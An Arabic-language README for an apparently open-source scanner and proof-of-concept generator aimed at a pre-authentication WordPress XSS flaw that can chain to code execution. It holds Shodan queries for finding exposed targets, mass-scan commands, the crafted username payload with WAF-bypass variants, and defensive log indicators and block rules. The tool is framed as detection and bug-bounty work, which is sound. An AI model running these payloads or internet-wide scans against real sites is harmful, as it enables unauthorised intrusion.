
🔥 XSS2Shell — ماسح CVE-2026-64638 وأداة إثبات المفهوم (PoC)
ماسح جماعي يعتمد على السلوك أولًا، ومولّد أدلة PoC لسلسلة XSS-إلى-RCE قبل المصادقة في ووردبريس التي تؤثر على أكثر من 500 مليون موقع.
للكشف فقط. لا أسلحة. صُمم لبرامج مكافآت الاختراق والفرق الزرقاء.
ما هذا؟ • بدء سريع • استعلامات Shodan • الاستخدام • مصفوفة القرار • الاكتشاف • الأسئلة الشائعة
ابحث عن حالات ووردبريس المعرضة للخطر عبر الإنترنت قبل الفحص:
http.component:"wordpress" -http.title:"Just a moment"
يجد مواقع ووردبريس مع استبعاد صفحات "Just a moment" من Cloudflare / حماية البوتات التي ستحظر الطلبات الآلية أو تتحداها.
http.component:"wordpress" http.title:"Log In"
يعيد فقط صفحات تسجيل دخول ووردبريس — سطح الهجوم المحدد لـ CVE-2026-64638.
http.component:"wordpress" "wp-content" "?ver=7.0" -"?ver=7.0.3"
يحدد حالات WordPress 7.0.x التي لا تحتوي على تصحيح 7.0.3 عبر بصمة إصدار الأصول.
http.component:"wordpress" http.html:"wp-login.php"
يلتقط المواقع التي يمكن الوصول فيها إلى wp-login.php لكنه قد لا يكون الصفحة الحالية — تغطية أوسع.
http.component:"wordpress" -http.title:"Just a moment" -http.title:"Attention Required" -org:"Cloudflare"
عامل تصفية عدواني يستبعد معظم الأهداف خلف Cloudflare. استخدمه عند الفحص على نطاق واسع مع --active — سيقوم Cloudflare بتقييد المعدل أو حظر طلب الفحص.
نصيحة: صدّر نتائج Shodan باستخدام
shodan downloadومرّر أسماء المضيفين مباشرة إلىxss2shell_mass.py -i.
في 7 أغسطس 2026، كشفت pwn.ai عن CVE-2026-64638 (XSS2Shell) — ثغرة برمجة نصية عبر المواقع (XSS) حرجة قبل المصادقة في نواة ووردبريس تتسلسل حتى تنفيذ التعليمات البرمجية عن بُعد على الخادم. [citation:pwn.ai blog]
تستغل الثغرة اختلافًا في التحليل بين دالة PHP strip_tags() ودالة ووردبريس wp_kses_post():
strip_tags() يستخدم < متبوعة فورًا بحرف لتحديد وسوم HTML. < area id=...> (مع مسافة) يُعامل كنص — فيبقى.wp_kses_post() (KSES) يتعرف على < area كعنصر <area> صالح — و<area> مدرج في القائمة المسموح بها في KSES. [citation:pwn.ai blog]محاولة تسجيل دخول فاشلة واحدة باسم مستخدم مُصمم خصيصًا < area id=ajaxurl href=/?rest_route=/&_method=GET&_jsonp=alert>... تتجاوز كلا أداتَي التنقية، ويُعرض كـ DOM حي في صفحة تسجيل الدخول، ويختطف سكربت ووردبريس الخاص user-profile.js عبر DOM clobbering، ويشغل alert() في نطاق ووردبريس — بدون أي نقرة، وبدون مصادقة، وبدون أي ملفات تعريف ارتباط مطلوبة. [citation:pwn.ai blog]
هل تصعّد إلى مسؤول مسجّل الدخول؟ نفس البدائية تسرق كلمات مرور التطبيقات عبر Same Origin Method Execution (SOME)، وترفع إضافة ضارة، وتنفّذ PHP بصلاحيات www-data. [citation:pwn.ai blog] [citation:hadrian.io blog]
المتأثر: WordPress من 6.4 حتى 7.0.2 — تم إصلاحه في 7.0.3 مع تصحيحات خلفية إلى 4.7+.
التأثير: ~500 مليون موقع ويب وقت الإفصاح. [citation:pwn.ai blog]
هذه حزمة أدوات للكشف فقط. إنها لا تحوّل الثغرة إلى سلاح — بل تمنح باحثي الأمن وصيادي مكافآت الاختراق والفرق الزرقاء كل ما يلزم من أجل:
alert() فقط)"سلسلة الإصدار تحدد مستوى التصحيح الذي يجب أن يكون عليه الكود نظريًا.
فقط سلوك أداة التنقية في صفحة تسجيل الدخول هو ما يحدد ما إذا كانت الثغرة تعمل فعلًا."
المضيفات المُدارة تعيد تطبيق التصحيحات الأمنية بصمت دون تغيير سلاسل الإصدارات. إضافات تحصين تسجيل الدخول تستبدل رسالة الخطأ بالكامل، مما يقتل قناة الانعكاس حتى على الإصدارات غير الآمنة. الماسحات التي تعتمد على الإصدار فقط تنتج نتائج إيجابية خاطئة ونتائج سلبية خاطئة. يرسل هذا الماسح فحصًا واحدًا غير ضار ويصنّف سلوك أداة التنقية الفعلي.
git clone https://github.com/jakestone/xss2shell.git
cd xss2shell
pip install -r requirements.txt
# Passive — no probes sent to target, version + endpoint fingerprinting only
python3 xss2shell_mass.py -i domains.txt -o results
# Active — sends ONE benign failed-login per host (authorized assets only!)
python3 xss2shell_mass.py -i domains.txt -o results --active --workers 80
# Single target
python3 make_poc.py --target https://blog.example.com
# Batch from scanner output
python3 make_poc.py --from-results results.csv -o pocs/
افتح ملف .poc.html المُولَّد في متصفحك أثناء تسجيل فيديو → إذا اشتعلت alert()، فقد التقطت دليل XSS قبل المصادقة.
xss2shell_mass.py)usage: xss2shell_mass.py [-h] -i INPUT [-o OUTPUT]
[--active] [--workers WORKERS]
[--timeout TIMEOUT] [--quiet]
?ver= للأصول، مراجع wp-content)user-profile.js في قائمة التحميل، إصدارات أصول النواة/?rest_route=/&_method=GET&_jsonp=<random> — هل مسار JSONP مفتوح؟--active)يرسل محاولة تسجيل دخول فاشلة واحدة باسم مستخدم < area id=<RANDOM> href=/x2s> ويصنّف استجابة HTML:
bypass — عنصر <area> حقيقي مع علامتنا نجى → عدم تطابق strip_tags/KSES مؤكدescaped — العلامة موجودة لكنها مشفرة ككيانات → يوجد تصحيح أو تحصينstripped — تظهر رسالة خطأ ووردبريس الافتراضية، وأُزيلت الوسوم → acevomod أو مُصحَّحclosed — لا انعكاس لاسم المستخدم إطلاقًا → إضافة تحصين تسجيل الدخول مثبتةmake_poc.py)usage: make_poc.py [-h] [--target TARGET] [--from-results FROM_RESULTS]
[-o OUTDIR]
يولّد صفحة PoC المنشورة من pwn.ai لكل هدف — نموذج HTML الدقيق الذي يشغّل alert() على ووردبريس غير مُصحَّح. ثلاثة متغيرات للحمولة مضمّنة في التعليقات:
يجمع محرك القرار في الماسح بين تصنيف الإصدار (من واجهة stable-check في WordPress.org) والأدلة السلوكية لإنتاج 10 أحكام متميزة:
أعمدة CSV: host, url, status, checker_status, wp_version, branch_status, evidence, http, ms, error
عمود checker_status يطابق مفردات المُتحقّق العام لـ pwn.ai (vulnerable / patched / not_wordpress / unreachable / inconclusive / error) للربط المباشر.
إذا كنت في جانب الدفاع، فهذه هي الإشارات الجنائية التي تتركها هذه الثغرة:
# Primary signal: encoded '<' in the log parameter
POST /wp-login.php → log=%3C... (URL-encoded < in username field)
# Higher confidence: paired with REST pivoting
GET /?rest_route=/&_method=GET&_jsonp=... # JSONP callback
GET /wp-json/wp/v2/statuses/publish?_jsonp=... # WAF-bypass variant
# Escalation stage indicators
GET /wp-admin/authorize-application.php?success_url=<off-origin>
POST /wp-admin/update.php?action=upload-plugin
GET /wp-content/plugins/<random>/shell.php
احجب POST /wp-login.php عندما يحتوي معامل log على %3C (< بترميز URL). أسماء مستخدمي ووردبريس الصالحة لا تحتوي أبدًا على أقواس زاوية. لا تضيّق النطاق إلى وسوم محددة — لأن KSES يسمح بالتبويب وسطر جديد وإرجاع عربة بعد < وبأي وسم مدرج في القائمة المسموح بها، لذا يمكن تجاوز قاعدة مخصصة لوسم محدد بسهولة. [citation:hadrian.io blog]
استدعاء _jsonp= في مرحلة التصعيد يستخدم النقاط للتنقل بين الخصائص (مثل window.opener.approve.click). اعتبر طلبات REST التي تحتوي على استدعاءات JSONP بنقاط مؤشرًا قويًا على الاستغلال. [citation:hadrian.io blog]
THIS TOOL IS DETECTION-ONLY. IT DOES NOT:
✗ Weaponize the JSONP callback beyond the public alert()
✗ Include admin-lure pages or Application Password capture
✗ Include REST abuse, plugin upload, or PHP shell code
✗ Execute more than one failed login per target per scan
YOU MUST:
✓ Only scan assets you own or have written authorization to test
✓ Only generate PoCs for your own browser on your own server
✓ Never send PoC links to site admins/users
✓ Never escalate past alert() without program written approval
✓ Follow the bug bounty program scope and rules
This toolkit exists for authorized security research, bug bounty
programs, and defensive detection engineering. Misuse is your
responsibility.
xss2shell/
├── README.md ← You are here
├── xss2shell_mass.py ← Behavior-first mass scanner (v1.1.0)
├── make_poc.py ← Evidence-grade PoC page generator
├── requirements.txt ← Python dependencies (just `requests`)
├── .gitignore ← Ignores scan outputs and cache
└── example/
├── domains.txt ← Example input file
└── example_output.csv ← Example scan output
س: لماذا لا تكتفي بفحص سلسلة إصدار ووردبريس؟
ج: المضيفات المُدارة (WP Engine, Kinsta, Pantheon, إلخ) تعيد تطبيق التصحيحات الأمنية بشكل متكرر دون تغيير الإصدار. إضافات تحصين تسجيل الدخول تستبدل رسالة الخطأ بالكامل. كلتا الحالتين تنتجان نتائج إيجابية خاطئة في الماسحات التي تعتمد على الإصدار فقط، ونتائج سلبية خاطئة للإصدارات المخفية. هذا الماسح يختبر سلوك أداة التنقية الفعلي.
س: هل الفحص النشط --active خطير؟
ج: لا. يرسل محاولة تسجيل دخول فاشلة واحدة فقط باسم مستخدم علامة غير ضار. لا يحاول تنفيذ JavaScript، ولا يعدّد أسماء المستخدمين الصالحة، ولا يشغّل أي استغلال فعلي. وهو أقل اقتحامًا من محاولة تسجيل دخول عادية.
س: هل يمكن استخدام هذه الأداة في فحص غير مصرّح به؟
ج: لا. الفحص النشط يرسل طلب HTTP POST إلى /wp-login.php، وهو طلب إلى الخادم الهدف. استخدمه فقط على الأصول التي تملكها أو لديك إذن كتابي صريح لاختبارها.
س: ما الفرق بين vulnerable و confirmed_vulnerable؟
ج: vulnerable تعني أن واجهة برمجة تطبيقات WordPress.org تقول إن الإصدار غير آمن، لكننا لم نؤكد عدم تطابق strip_tags/KSES سلوكيًا. confirmed_vulnerable تعني أننا أرسلنا فحصًا ونجا عنصر <area> من أداتي التنقية — يمكن أن تعمل السلسلة المنشورة.
س: هل يمكنني استخدام هذا في تقارير برنامج مكافآت الاختراق؟
ج: نعم! عمود checker_status يطابق مباشرة مفردات المُتحقّق العام لـ pwn.ai لسهولة الربط. اقرن نتائج الفحص بدليل فيديو PoC من make_poc.py للحصول على تقارير كاملة.
س: هل تكتشف هذه الأداة سلسلة RCE؟
ج: لا. تكتشف هذه الحزمة نقطة دخول XSS قبل المصادقة. السلسلة الكاملة لـ RCE تتطلب مسؤولًا مسجّل الدخول، وتفعيل كلمات مرور التطبيقات، وصلاحيات رفع الإضافات — وهي شروط لا يقيمها هذا الماسح. يركز الماسح على ما يمكن ملاحظته خارجيًا: تجاوز أداة التنقية.
بُني بواسطة 0xlipon • للكشف فقط • للاستخدام المصرّح به فقط
| الموارد | الرابط |
|---|
| الإفصاح الأصلي (pwn.ai) | pwn.ai/blog/xss2shell |
| التحليل التقني من Hadrian | hadrian.io/blog/wordpress-xss2shell |
| نشرة ووردبريس الأمنية (GHSA) | GHSA-52p2-r8wf-jcrf |
| بحث هجوم SOME (2022) | pwn.ai/blog/bypass-csp-using-wordpress |
| إصدار ووردبريس 7.0.3 | wordpress.org/news/2026/08/wordpress-7-0-3-release |
| العلامة | الوصف |
|---|
-i, --input | ملف يحتوي على مضيف واحد في كل سطر (نطاق مجرد أو URL كامل) |
-o, --output | المسار الأساسي لملفات الإخراج (يُنشئ .csv + .json) |
--active | تفعيل الفحص السلوكي — محاولة تسجيل دخول فاشلة واحدة لكل مضيف |
--workers | حجم تجمع الخيوط (الافتراضي: 50، الحد الأقصى ~200 للاتصالات الجيدة) |
--timeout | مهلة HTTP بالثواني (الافتراضي: 10) |
--quiet | اطبع فقط confirmed_vulnerable و vulnerable و likely_vulnerable |
| البديل | قيمة href | متى يُستخدم |
|---|
| الافتراضي | /?rest_route=/&_method=GET&_jsonp=alert | ووردبريس القياسي |
| التغليف | /?rest_route=/&_method=GET&_envelope=1&_jsonp=alert | عندما يُرجع REST رمز 401 (يلفّه في 200) |
| الالتفاف حول WAF | /wp-json/wp/v2/statuses/publish?_jsonp=alert&_method=GET | عندما يحظر WAF معامل ?rest_route= |
| الحكم | الشروط |
|---|
confirmed_vulnerable 🔴 | الإصدار غير آمن، وعلامة الفحص نجت كعنصر <area>، وأداة user-profile.js موجودة |
vulnerable 🔴 | الإصدار غير آمن وفقًا لـ wordpress.org؛ لم يُنفَّذ الفحص السلوكي (أعد التشغيل باستخدام --active) |
likely_vulnerable 🟠 | علامة الفحص نجت، لكن user-profile.js غير مضمّنة في قائمة تحميل الصفحة (أداة الإطلاق التلقائي المنشورة مفقودة) |
mitigated 🟣 | الإصدار غير آمن، لكن علامة الفحص تم ترميزها/إزالتها/إغلاقها (تصحيح خلفي صامت أو تحصين) |
likely_patched 🟢 | الإصدار مخفي/غير معروف، لكن علامة الفحص تم ترميزها/إزالتها |
patched 🟢 | الإصدار latest أو outdated (يحتوي على تصحيحات أمنية خلفية) |
not_wordpress ⚫ | لم يتم اكتشاف أي بصمة ووردبريس |
unreachable ⚫ | فشل الاتصال (مهلة، SSL، DNS) |
inconclusive 🟡 | حجب WAF، أو تحدٍّ من Cloudflare، أو إصدار مخفي بدون فحص، أو غياب صفحة تسجيل الدخول |
error 🟡 | فشل غير متوقع أثناء الفحص |